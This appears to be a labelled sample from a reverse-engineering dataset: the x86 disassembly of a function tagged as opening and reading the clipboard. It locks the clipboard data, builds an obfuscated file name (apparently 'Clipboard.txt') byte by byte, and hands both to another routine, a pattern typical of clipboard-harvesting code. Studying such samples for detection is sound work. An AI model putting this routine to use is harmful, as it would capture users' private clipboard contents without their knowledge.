Function at 0x433360
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10
call fcn.0041a3f0
sub esp, 0x10
mov esi, esp
push eax
mov edi, esp
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
cmp eax, 0
setne al
xor ebx, ebx
test al, 1
jne 0x433399
jmp 0x433694
xor eax, eax
sub esp, 8
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
sub esp, 4
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
cmp eax, 0
setne cl
xor ebx, ebx
test cl, 1
jne 0x4333d5
jmp 0x43368c
sub esp, 4
mov dword [ebp - 0x1c], eax
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
sub esp, 4
mov dword [ebp - 0x18], eax
mov dword [esp], eax
call fcn.004199d0
add esp, 4
cmp eax, 0
setne cl
xor ebx, ebx
test cl, 1
jne 0x433407
jmp 0x43367d
mov ebx, eax
mov al, byte [edi]
mov byte [ebp - 0x14], al
sub esp, 8
mov dword [esp], 0x5f5e079d
mov dword [esp + 4], 5
call fcn.00419ec0
add esp, 8
add eax, 0x43
xor eax, 0x9d
mov byte [esi], al
sub esp, 8
mov dword [esp], 0x5f5e079d
mov dword [esp + 4], 5
call fcn.00419ec0
add esp, 8
add eax, 0x6c
xor eax, 0x9e
mov byte [esi + 1], al
sub esp, 8
mov dword [esp], 0x5f5e079d
mov dword [esp + 4], 5
call fcn.00419ec0
add esp, 8
add eax, 0x69
xor eax, 0x9f
mov byte [esi + 2], al
sub esp, 8
mov dword [esp], 0x5f5e079d
mov dword [esp + 4], 5
call fcn.00419ec0
add esp, 8
add eax, 0x70
xor eax, 0xa0
mov byte [esi + 3], al
sub esp, 8
mov dword [esp], 0x5f5e079d
mov dword [esp + 4], 5
call fcn.00419ec0
add esp, 8
add eax, 0x62
xor eax, 0xa1
mov byte [esi + 4], al
sub esp, 8
mov dword [esp], 0x5f5e079d
mov dword [esp + 4], 5
call fcn.00419ec0
add esp, 8
add eax, 0x6f
xor eax, 0xa2
mov byte [esi + 5], al
sub esp, 8
mov dword [esp], 0x5f5e079d
mov dword [esp + 4], 5
call fcn.00419ec0
add esp, 8
add eax, 0x61
xor eax, 0xa3
mov byte [esi + 6], al
sub esp, 8
mov dword [esp], 0x5f5e079d
mov dword [esp + 4], 5
call fcn.00419ec0
add esp, 8
add eax, 0x72
xor eax, 0xa4
mov byte [esi + 7], al
sub esp, 8
mov dword [esp], 0x5f5e079d
mov dword [esp + 4], 5
call fcn.00419ec0
add esp, 8
add eax, 0x64
xor eax, 0xa5
mov byte [esi + 8], al
sub esp, 8
mov dword [esp], 0x5f5e079d
mov dword [esp + 4], 5
call fcn.00419ec0
add esp, 8
add eax, 0x2e
xor eax, 0xa6
mov byte [esi + 9], al
sub esp, 8
mov dword [esp], 0x5f5e079d
mov dword [esp + 4], 5
call fcn.00419ec0
add esp, 8
add eax, 0x74
xor eax, 0xa7
mov byte [esi + 0xa], al
sub esp, 8
mov dword [esp], 0x5f5e079d
mov dword [esp + 4], 5
call fcn.00419ec0
add esp, 8
add eax, 0x78
xor eax, 0xa8
mov byte [esi + 0xb], al
sub esp, 8
mov dword [esp], 0x5f5e079d
mov dword [esp + 4], 5
call fcn.00419ec0
add esp, 8
add eax, 0x74
xor eax, 0xa9
mov byte [esi + 0xc], al
sub esp, 8
mov dword [esp], 0x5f5e079d
mov dword [esp + 4], 5
call fcn.00419ec0
add esp, 8
xor eax, 0xaa
mov byte [esi + 0xd], al
mov eax, 0xe
mov byte [esi + eax], 0
add eax, 1
cmp eax, 0x10
jne 0x433615
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 0x10
jae 0x43365b
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
movzx ecx, byte [esi + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00433a20
add esp, 8
mov ecx, dword [ebp - 0x10]
mov byte [esi + ecx], al
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
jmp 0x433628
sub esp, 0xc
mov ecx, dword [ebp + 8]
mov dword [esp], esi
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov dword [esp + 8], ebx
call fcn.0040a630
mov bl, al
and bl, 1
jmp 0x43367b
jmp 0x43367d
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x433694
and bl, 1
movzx eax, bl
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret